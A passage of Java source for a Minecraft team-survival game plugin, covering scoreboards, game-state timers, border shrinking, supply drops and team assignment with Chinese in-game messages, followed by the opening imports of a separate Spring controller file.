s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "保护结束 " + ChatColor.RED + publicCount + ChatColor.GREEN + ChatColor.BOLD.toString() + " 秒");
gp.get().setScoreboard(sb);
break;
}
}
public void updateScoreboard(boolean SpecOnly){
switch(gameState){
case Generating:
if(shouldUpdateDetail){
for(GamePlayer gp : players){
Scoreboard sb = getEmptyScoreBoard(gp.getTeam());
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "玩家" );
s.setScore(12);
s = obj.getScore(players.size() + "/" + MaxPeopleCount);
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() +"职业");
s.setScore(9);
s = obj.getScore("无");
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + ""+ Core.get().getMc().getPercentage() + " 地图生成中...");
gp.get().setScoreboard(sb);
}
}else{
for(GamePlayer gp : players){
try{
Objective obj = gp.get().getScoreboard().getObjective(DisplaySlot.SIDEBAR);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + ""+ Core.get().getMc().getPercentage() + " 地图生成中...");
}catch(Exception e){}
}
}
break;
case Lobby:
for(GamePlayer gp : players){
Scoreboard sb = getEmptyScoreBoard(gp.getTeam());
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "玩家" );
s.setScore(12);
s = obj.getScore(players.size() + "/" + MaxPeopleCount);
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() +"职业");
s.setScore(9);
s = obj.getScore("无");
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + "等待玩家中");
gp.get().setScoreboard(sb);
}
break;
case Starting:
if(shouldUpdateDetail){
for(GamePlayer gp : players){
Scoreboard sb = getEmptyScoreBoard(gp.getTeam());
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "玩家" );
s.setScore(12);
s = obj.getScore(players.size() + "/" + MaxPeopleCount);
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() +"职业");
s.setScore(9);
s = obj.getScore("无");
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "距离开始 " + publicCount +" 秒...");
gp.get().setScoreboard(sb);
}
}else{
for(GamePlayer gp : players){
try{
Objective obj = gp.get().getScoreboard().getObjective(DisplaySlot.SIDEBAR);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "距离开始 " + publicCount +" 秒...");
}catch(Exception e){}
}
}
break;
case Teleporting:
if(shouldUpdateDetail){
for(GamePlayer gp : players){
Scoreboard sb = getEmptyScoreBoard(gp.getTeam());
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "玩家" );
s.setScore(12);
s = obj.getScore(players.size() + "/" + MaxPeopleCount);
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() +"职业");
s.setScore(9);
s = obj.getScore("无");
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "传送您至地图中...");
gp.get().setScoreboard(sb);
}
}else{
for(GamePlayer gp : players){
try{
Objective obj = gp.get().getScoreboard().getObjective(DisplaySlot.SIDEBAR);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "传送您至地图中...");
}catch(Exception e){}
}
}
break;
case Nopvp:
if(shouldUpdateDetail){
if(!SpecOnly){
for(GameTeam gt : teams){
Scoreboard sb = getEmptyScoreBoard(gt);
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "保护结束 " + ChatColor.RED + publicCount + ChatColor.GREEN + ChatColor.BOLD.toString() + " 秒");
gt.setAllScoreBoard(sb);
}
}
for(GamePlayer gp : players){
if(gp.isSpec()){
Scoreboard sb = getEmptyScoreBoard(null);
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "保护结束 " + ChatColor.RED + publicCount + ChatColor.GREEN + ChatColor.BOLD.toString() + " 秒");
gp.get().setScoreboard(sb);
}
}
}else{
for(GamePlayer gp : players){
try{
Objective obj = gp.get().getScoreboard().getObjective(DisplaySlot.SIDEBAR);
/*
gp.get().getScoreboard().resetScores("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
Score s = obj.getScore("-" + this.currentBorderScore/2 + " +" + this.currentBorderScore/2 );
s.setScore(8);
*/
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "保护结束 " + ChatColor.RED + publicCount + ChatColor.GREEN + ChatColor.BOLD.toString() + " 秒");
}catch(Exception e){}
}
}
break;
case Gaming:
if(shouldUpdateDetail){
if(!SpecOnly){
for(GameTeam gt : teams){
Scoreboard sb = getEmptyScoreBoard(gt);
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "战斗阶段");
gt.setAllScoreBoard(sb);
}
}
for(GamePlayer gp : players){
if(gp.isSpec()){
Scoreboard sb = getEmptyScoreBoard(null);
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "战斗阶段");
gp.get().setScoreboard(sb);
}
}
}else{
for(GamePlayer gp : players){
try{
Objective obj = gp.get().getScoreboard().getObjective(DisplaySlot.SIDEBAR);
if(priviousBorderScore != (int)border.getSize() ){
//System.out.print("Try to update --> yes");
gp.get().getScoreboard().resetScores("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2);
priviousBorderScore = (int) border.getSize();
Score s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
}else{
//System.out.print("Try to update --> no");
}
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "战斗阶段");
}catch(Exception e){
e.printStackTrace();
}
}
}
break;
case Finish:
if(shouldUpdateDetail){
for(GameTeam gt : teams){
Scoreboard sb = getEmptyScoreBoard(gt);
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.YELLOW + ChatColor.BOLD.toString() + "您会在 " + publicCount + " 秒内传送");
gt.setAllScoreBoard(sb);
}
for(GamePlayer gp : players){
if(gp.isSpec()){
Scoreboard sb = getEmptyScoreBoard(null);
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.YELLOW + ChatColor.BOLD.toString() + "您会在 " + publicCount + " 秒内传送");
gp.get().setScoreboard(sb);
}
}
}else{
for(GamePlayer gp : players){
try{
Objective obj = gp.get().getScoreboard().getObjective(DisplaySlot.SIDEBAR);
obj.setDisplayName(ChatColor.YELLOW + ChatColor.BOLD.toString() + "您会在 " + publicCount + " 秒内传送");
}catch(Exception e){}
}
}
break;
}
this.shouldUpdateDetail = false;
}
public void updatePlayerInGame(){
for(GamePlayer gp : players){
if(gp.isSpec())
continue;
try{
gp.get().setCompassTarget(gp.getTeam().getFirstButNot(gp).get().getLocation());
if(gp.get().getItemInHand()!=null && gp.get().getItemInHand().getType() == Material.COMPASS){
gp.sendActionBar(ChatColor.BOLD + "==== 您的队友距离您 " + ChatColor.GREEN + ChatColor.BOLD + (int)gp.get().getCompassTarget().distance(gp.get().getLocation()) + ChatColor.WHITE + ChatColor.BOLD + " 米 ====");
}
}catch(Exception e){
}
if(gp.get().getLocation().getY() > 208){ // define!
gp.get().damage(1);
}
}
}
public void checkSpecOutOfBound(){
for(GamePlayer gp : players){
if(!gp.isSpec())
continue;
GamePlayer target = EntityUtil.getNearBySurvivalPlayer(gp);
if(target != null && target.get().isOnline() && target.get().getGameMode() != GameMode.SPECTATOR ){
gp.sendActionBar(ChatColor.BOLD +"玩家: "+ ChatColor.GREEN + target.get().getName()
+ ChatColor.WHITE+ ChatColor.BOLD + " 生命值: " + ChatColor.GREEN + ChatColor.BOLD.toString() + (int)((target.get().getHealth()/target.get().getMaxHealth()) * 100) + "%"
+ ChatColor.WHITE+ ChatColor.BOLD + " 距离: " + ChatColor.GREEN + ChatColor.BOLD.toString() + df.format(target.get().getLocation().distance(gp.get().getLocation()))
+ ChatColor.WHITE + ChatColor.BOLD );
}else{
gp.sendActionBar(Core.getMsg().getSpecMsg());
}
Location l = gp.get().getLocation();
Location d = new Location(l.getWorld(),0,l.getY(),0);
if(Math.abs(l.getBlockX()) >= ((border.getSize()/2)+10) || Math.abs(l.getBlockZ()) >= ((border.getSize()/2)+10)){
try{
gp.get().teleport(getFirstPlayer().get());
}catch(Exception e){
gp.get().teleport(d);
}
}
}
}
private void runTask(GameState to){
switch(to){
case Starting:
currentTask =new BukkitRunnable(){
int count = startCounting;
@Override
public void run() {
publicCount = count;
if(count > 0){
if(players.size() < PeopleCouldStart){
changeState(GameState.Lobby);
cancel();
}else if(players.size() == MaxPeopleCount && count > 30){
sendToAllMessage(Core.getMsg().getMessage("time-jump-to-30"));
sendToAllSound(Sound.PISTON_EXTEND);
count = 30;
}
if(count == 90 || count == 60 || count == 30|| count == 10 ){
sendToAllMessage(Core.getMsg().getMessage("start-count-msg3") + count + Core.getMsg().getMessage("start-count-msg4"));
sendToAllTitle(String.valueOf(count));
sendToAllSound(Sound.CLICK);
}
if(count == 30){
Core.get().getChunk().startLoadingTask();
}
if(count == 20){
for(GameTeam gt : teams){
gt.loadSpawn();
}
}
if(count < 10){
sendToAllTitle(String.valueOf(count));
sendToAllSound(Sound.CLICK);
}
sendToAllActionBarAndExp(Core.getMsg().getMessage("start-count-msg1") + count + Core.getMsg().getMessage("start-count-msg2") , count);
}else {
sendToAllEXP(0);
changeState(GameState.Teleporting);
cancel();
}
updateScoreboard(false);
count --;
}
}.runTaskTimer(Core.get(), 0, 20);
break;
case Teleporting:
try{currentTask.cancel();} catch(Exception e){};
currentTask =new BukkitRunnable(){
int count = 1;
@Override
public void run() {
int thisTeleport = 0;
for(GameTeam gt : teams){
if(gt.isTeleported){
if(teams.indexOf(gt) == teams.size() -1){
changeState(GameState.Nopvp);
cancel();
}
continue;
}
thisTeleport ++;
gt.setTeamTeleporting();
if(thisTeleport >= count){
break;
}
}
updateScoreboard(false);
}
}.runTaskTimer(Core.get(), 0, 5);
break;
case Nopvp:
try{currentTask.cancel();} catch(Exception e){};
currentTask =new BukkitRunnable(){
int count = 600 ;
@Override
public void run() {
checkSpecOutOfBound();
updatePlayerInGame();
sendChestParticlePacket();
//currentBorderScore = (int) border.getSize();
if(count > 0){
if(count == 300 || count == 120 || count == 60){
String s = Core.getMsg().getMessage("wall-fall-time3") + count +Core.getMsg().getMessage("wall-fall-time4");
sendToAllSoundAndMsgAndTitle(Sound.CLICK,s ,s);
}
if(count < 10){
sendToAllSound(Sound.ARROW_HIT);
}
publicCount = count;
updateScoreboard(false);
count --;
return;
}
changeState(GameState.Gaming);
updateScoreboard(false);
cancel();
}
}.runTaskTimer(Core.get(), 0, 20);
break;
case Gaming:
try{currentTask.cancel();} catch(Exception e){};
currentTask =new BukkitRunnable(){
int count = 0;
boolean fastEnd = false;
boolean isFinal1VS1 = false;
int type = -1;
@Override
public void run() {
checkSpecOutOfBound();
updatePlayerInGame();
sendChestParticlePacket();
if(border.getSize() % 10 == 0){
System.out.print("当前border = " + border.getSize() + " 当前Pri = " + priviousBorderScore);
}
//currentBorderScore = (int) border.getSize();
updateScoreboard(false);
//System.out.print("updateDone");
count ++;
/*
if(border.getSize() <= 20 && !fastEnd){
Random r = new Random();
type = r.nextInt(3);
if(howManySurvival() > 2){
if(type == 0){
sendToAllMessage(ChatColor.RED + " 边境足够小了,现在会对Y轴坐标最大和最小,也就是高度最高和最低的玩家持续造成伤害!");
}else if(type == 1){
sendToAllMessage(ChatColor.RED + " 边境足够小了,现在会有无数的TNT从天而降,祝你们好运.");
}else if(type == 2){
sendToAllMessage(ChatColor.RED + " 边境足够小了,现在泥土开始松动了,注意不要被埋葬哦!");
}
}
fastEnd = true;
return;
}
*/
if(count <= 5){
return;
}
if(border.getSize() <= 40){
if(type == -1){
return;
}
if(type == 0){
if(howManySurvival() > 2){
GamePlayer upper = null;
GamePlayer lower = null;
for(GamePlayer gp : players){
if(gp.isSpec()){
continue;
}
if(upper ==null || lower == null){
upper = gp;
lower = gp;
continue;
}
double gpY = gp.get().getLocation().getY();
if( gpY > upper.get().getLocation().getY()){
upper = gp;
}
if(gpY < lower.get().getLocation().getY()){
lower = gp;
}
}
if(upper != lower){
if(upper !=null ){
if(upper.get().getGameMode() != GameMode.SPECTATOR){
upper.get().getPlayer().damage(1);
}
}
if(lower !=null ){
if(lower.get().getGameMode() != GameMode.SPECTATOR){
lower.get().getPlayer().damage(1);
}
}
sendToAllSound(Sound.GHAST_SCREAM);
sendToAllMessage(ChatColor.RED + " 玩家 " + ChatColor.YELLOW + upper.get().getName() + ChatColor.RED + " 与 " + ChatColor.YELLOW + lower.get().getName() + ChatColor.RED + " 受到Y轴边境伤害.");
}
}else {
if(!isFinal1VS1){
sendToAllMessage(ChatColor.RED + " 看来只有两个人存活了,持续掉血限制移除,决战吧!");
isFinal1VS1 = true;
}
}
}else if(type == 1){
new BukkitRunnable(){
int c = 0;
@Override
public void run() {
c ++;
if(c == 3){
cancel();
}
for(int i = 0 ; i < 2 ; i ++){
Location l = Core.get().getMc().getRandomLocation((int)border.getSize(), 0);
l.setY(254);
FallingBlock fb =l.getWorld().spawnFallingBlock(l, Material.TNT, (byte) 0);
fb.setMetadata("TNT_PRIMED", new FixedMetadataValue(Core.get(),"123"));
fb.setCustomName(ChatColor.RED + ChatColor.BOLD.toString() + "炸弹");
fb.setCustomNameVisible(true);
}
sendToAllSound(Sound.GHAST_SCREAM);
sendToAllMessage(ChatColor.RED +"TNT雨来了,快躲避!");
}
}.runTaskTimer(Core.get(), 0, 10);
}else if(type == 2){
new BukkitRunnable(){
int c = 0;
@Override
public void run() {
c ++;
if(c == 3){
cancel();
}
for(GamePlayer gp : players){
if(gp.isSpec()){
continue;
}
Location l = gp.get().getEyeLocation();
while(l.getBlock().getType() == Material.AIR){
l.setY(l.getY() + 1);
if(l.getY() >= 255){
break;
}
}
if(l.getY() >= 255){
continue;
}
FallingBlock fb =l.getWorld().spawnFallingBlock(l, l.getBlock().getType(), (byte) l.getBlock().getData());
l.getBlock().setType(Material.AIR);
fb.setMetadata("HEAVY_SAND", new FixedMetadataValue(Core.get(),"123"));
fb.setCustomName(ChatColor.RED + ChatColor.BOLD.toString() + "坍塌方块");
fb.setCustomNameVisible(true);
/*
if(gp.get().getLocation().getY() < 20){
gp.get().damage(5);
}
*/
}
sendToAllSound(Sound.GHAST_SCREAM);
sendToAllMessage(ChatColor.RED +"注意头上的方块,他要坍下来了!");
}
}.runTaskTimer(Core.get(), 0, 10);
}
}else{
border.setSize(border.getSize() - (((double)Core.boarderSize/(double)shrinkTime) *(count+1)) , 3);
}
count = 0;
}
}.runTaskTimer(Core.get(), 0, 20);
break;
case Finish:
try{currentTask.cancel();} catch(Exception e){};
currentTask =new BukkitRunnable(){
int count = 20 ;
@Override
public void run() {
if(count > 0){
for(GamePlayer temp : players){
if(!temp.isSpec()){
FireWorkUlt.spawnFireWork(temp.get().getLocation(), temp.get().getWorld());
}
}
publicCount = count;
updateScoreboard(false);
count --;
return;
}
for(GamePlayer temp : players){
Core.get().getBc().quitSend(temp.get());
}
// shut-up task
new BukkitRunnable(){
int count = 10;
public void run(){
count --;
if(count <=0){
Bukkit.shutdown();
}
}
}.runTaskTimer(Core.get(), 0, 20);
}
}.runTaskTimer(Core.get(), 0, 20);
break;
}
}
public void changeState(GameState to){
switch(to){
case Generating:
try{
if(Core.get().getMc().isGood()){
System.out.print("ERROR -> Good but generating!");
return;
}}catch(Exception e){e.printStackTrace(); System.out.print("first");}
Core.get().getMc().beginGenerate();
try{
gameState = GameState.Generating;
updateScoreboard(false);
}catch(Exception e){e.printStackTrace();}
break;
case Lobby:
gameState = GameState.Lobby;
Core.get().getChunk().preLoadLocations();
if(canBegin()){
gameState = GameState.Starting;
runTask(GameState.Starting);
}else{
for(GamePlayer gp : players){
gp.get().setExp(0);
gp.get().setLevel(0);
}
}
updateScoreboard(false);
break;
case Starting:
gameState = GameState.Starting;
runTask(GameState.Starting);
break;
case Teleporting:
//NOTE: THIS IS SUPER LAGGY, MIGHT NEED TO DISABLE ANTI-CHEAT PLUGIN HERE
gameState = GameState.Teleporting;
Core.get().getMc().getWorld().setTime(0);
teamAll();
/*
for(GameTeam gt : teams){
gt.generateSpawnLocation();
}
*/
for(GamePlayer gp : players){
for(int i = 0 ; i < 20 ; i ++){
gp.get().sendMessage( " ");
}
}
new BukkitRunnable(){
@Override
public void run() {
if(gameState != GameState.Teleporting){
cancel();
}
for(GameTeam gt : teams){
sendToAllTitle(ChatColor.RED + "传送中……请双手离开键盘,避免掉线.");
sendToAllActionBar(ChatColor.GREEN + ChatColor.BOLD.toString() + "传送中 " + ActionBarUtil.getActionBarString(Double.valueOf((double)teams.indexOf(gt) / (double)teams.size())) );
}
}
}.runTaskTimerAsynchronously(Core.get(), 0, 20);
runTask(GameState.Teleporting);
shouldUpdateDetail = true;
updateScoreboard(false);
break;
case Nopvp:
for(GamePlayer gp : players){
gp.setGameBegin();
gp.getGs().addgames();
gp.sendTitle(ChatColor.RED + "游戏开始,祝你好运!");
}
gameState = GameState.Nopvp;
Core.get().getChunk().clearChunkCache();
runTask(GameState.Starting);
setUpBoarder();
setUpChest();
runTask(GameState.Nopvp);
shouldUpdateDetail = true;
updateScoreboard(false);
break;
case Gaming:
gameState = GameState.Gaming;
//border.setSize(20, shrinkTime);
this.sendToAllMessage(" 边境开始收缩!");
sendToAllSound(Sound.ENDERMAN_TELEPORT);
runTask(GameState.Gaming);
shouldUpdateDetail = true;
updateScoreboard(false);
break;
case Finish:
gameState = GameState.Finish;
Location toP = null;
sendToAllSound(Sound.WITHER_DEATH);
for(GamePlayer gp : players){
if(!gp.isSpec()){
gp.sendTitle(ChatColor.RED + "你赢了!");
gp.getGs().addWin();
toP = gp.get().getLocation();
try{
Core.economy.depositPlayer(gp.get(), 10);
}catch(Exception e){e.printStackTrace();};
}
}
if(toP != null){
for(GamePlayer gp : players){
if(gp.isSpec()){
gp.get().teleport(LocationUtil.getNearBySaftLocation(toP.getWorld(), toP.getBlockX(), toP.getBlockZ(), 10,false));
}
}
}
chestTask.cancel();
Core.get().getMc().getWorld().setTime(13000);
runTask(GameState.Finish);
updateScoreboard(false);
break;
}
}
public void checkWinning(){
if(gameState == GameState.Finish){
return;
}
for(GameTeam gt : teams){
gt.CheckDead();
}
if(teams.size() == 1){
changeState(GameState.Finish);
}
}
private void setUpChest(){
chestTask = new BukkitRunnable(){
int count = 6;
Location l = null;
@Override
public void run() {
if(l == null){
l = Core.get().getMc().getRandomLocation((int)(border.getSize() - 60*3*Core.boarderSize/shrinkTime),0);
l = l.getWorld().getHighestBlockAt(l).getLocation();
}
count --;
if(count > 0){
sendToAllMessage(ChatColor.RED + " 援助资源箱将在 "+ ChatColor.GREEN +count + ChatColor.RED + " 分钟后于 "+ ChatColor.GREEN + "x:" + l.getBlockX()+ " y:" + l.getBlockY() + " z:" + l.getBlockZ() + ChatColor.RED+ " 处空投.内有钻石、回血药水、金苹果等稀有物品!");
return;
}
try{
sendToAllMessage(ChatColor.RED + " 援助资源箱已经在 "+ ChatColor.GREEN + "x:" + l.getBlockX()+ " y:" + l.getBlockY() + " z:" + l.getBlockZ() + ChatColor.RED+ " 处空投,请周围生存玩家注意收取宝箱内极品道具,注意抬头的时候不要被空投物资砸到!");
l.setY(l.getY() + 20);
FallingBlock fb =l.getWorld().spawnFallingBlock(l, Material.SAND, (byte) 0);
fb.setMetadata("CHEST_FALL", new FixedMetadataValue(Core.get(),"123"));
fb.setCustomName("空投物资");
fb.setCustomNameVisible(true);
/*
l.getBlock().setType(Material.CHEST);
Chest c = (Chest) l.getBlock().getState();
c.getInventory().setContents(Core.get().getCc().generateLoot(26));
sendToAllMessage(ChatColor.RED + " 援助资源箱已经在 "+ ChatColor.GREEN + "x:" + l.getBlockX()+ " y:" + l.getBlockY() + " z:" + l.getBlockZ() + ChatColor.RED+ " 处空投,请周围生存玩家注意收取宝箱内极品道具!");
sendToAllSound(Sound.ANVIL_LAND);
*/
}catch(Exception e){
e.printStackTrace();
sendToAllMessage(ChatColor.RED + " 空投飞机出了一些意外,已经坠机了!");
}
l = null;
count = 4;
}
}.runTaskTimer(Core.get(), 0, 20 * 60);
}
private void setUpBoarder(){
border = Core.get().getMc().getWorld().getWorldBorder();
border.reset();
border.setCenter(0, 0);
border.setSize(Core.boarderSize);
border.setDamageAmount(1);
border.setDamageBuffer(0);
border.setWarningDistance(10);
border.setWarningTime(5);
this.priviousBorderScore = (int) border.getSize();
}
private void teamAll(){
List<GamePlayer> notInTeam = new ArrayList<GamePlayer>();
for(GamePlayer gp : players){
if(!gp.isInTeam()){
notInTeam.add(gp);
System.out.print("Add " + gp.get().getName());
}
}
for(GameTeam gt : teams){
try{
while(gt.JoinTeam(notInTeam.get(0),false)){
//System.out.print(notInTeam.get(0) + " join exsisting team. " );
notInTeam.remove(0);
if(notInTeam.size() == 0){
break;
}
}
}catch(Exception e){
}
}
if(notInTeam.size() > 0){
int i = notInTeam.size();
int couldBe = i/3;
if(i% 3 != 0){
couldBe ++;
}
GameTeam currentTeam = new GameTeam();
for(int temp = 0; temp < couldBe ; temp ++){
if(notInTeam.size() != 0){
try{
while(currentTeam.JoinTeam(notInTeam.get(0),false)){
notInTeam.remove(0);
if(notInTeam.size() == 0){
break;
}
}}catch(Exception e){};
}
teams.add(currentTeam);
currentTeam = new GameTeam();
}
}
}
public boolean isChestLocation(Location l){
return chestLocations.contains(l);
}
public void removeChestLocation(Location l){
chestLocations.remove(l);
}
public void addChestLocation(Location l){
chestLocations.add(l);
}
private void sendChestParticlePacket(){
Random r = new Random();
for(Location l : chestLocations){
Core.getNms().sendParticles(l.getWorld(), "VILLAGER_ANGRY",l.getBlockX() , l.getBlockY(), l.getBlockZ(), r.nextFloat(), r.nextFloat(), r.nextFloat(), 0, r.nextInt(5) + 1);
}
}
private int howManySurvival(){
int nowSurvival = 0;
for(GamePlayer gps : players){
if(!gps.isSpec()){
nowSurvival ++;
}
}
return nowSurvival;
}
public void sendToAllMessage(String msg){
for(GamePlayer p : players){
p.get().sendMessage(Message.prefix + msg);
}
}
private void sendToAllActionBar(String str){
for(GamePlayer p : players){
p.sendActionBar(str);;
}
}
private void sendToAllActionBarAndExp(String str, int level){
for(GamePlayer p : players){
p.sendActionBar(str);
p.get().setLevel(level);
}
}
private void sendToAllEXP(int level){
for(GamePlayer p : players){
p.get().setLevel(level);
}
}
public void sendToAllSound(Sound s){
for(GamePlayer p : players){
p.get().playSound(p.get().getLocation(), s, 1, 1);
}
}
private void sendToAllSoundAndMsgAndTitle(Sound s,String msg,String title){
for(GamePlayer p : players){
p.get().playSound(p.get().getLocation(), s, 1, 1);
p.get().sendMessage(Message.prefix + msg);
p.sendTitle(title);
}
}
private void sendToAllTitle(String title){
for(GamePlayer p : players){
p.sendTitle(title);
}
}
private void sendToAllTitle(String title , String small){
for(GamePlayer p : players){
p.sendTitle(title,small);
}
}
public void sendAllChatMessage(String str){
for(GamePlayer p : players){
p.get().sendMessage(Core.getMsg().getMessage("all-msg-prefix") + str);
}
Bukkit.getLogger().info("AC : " + str);
}
public enum GameState{
Generating,Lobby,Starting,Teleporting,Nopvp,Gaming,Finish
}
public void disbandTeam(GameTeam gt){
shouldUpdateDetail = true;
teams.remove(gt);
}
public GameState getGameState(){
return gameState;
}
public String getGameStateString(){
switch(gameState){
case Generating:
return ChatColor.GREEN + "生成地图中";
case Lobby:
return ChatColor.GREEN +"等待中";
case Starting:
return ChatColor.GREEN + "等待中";
case Teleporting:
return ChatColor.RED +"游戏中";
case Nopvp:
return ChatColor.RED+"游戏中";
case Gaming:
return ChatColor.RED +"游戏中";
case Finish:
return ChatColor.RED +"游戏中";
}
return ChatColor.RED +"游戏中";
}
public double getBorderSize(){
return border.getSize();
}
}
| JHXSMatthew/UHC | src/main/java/com/github/JHXSMatthew/Game/Game.java |
65,482 | package com.hxsg.gchang.controller;
import com.alibaba.fastjson.JSONObject;
import com.hxsg.CommonUtil.CommonUtilAjax;
import com.hxsg.CommonUtil.JieSuanMoney;
import com.hxsg.Dao.*;
import com.hxsg.po.*;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
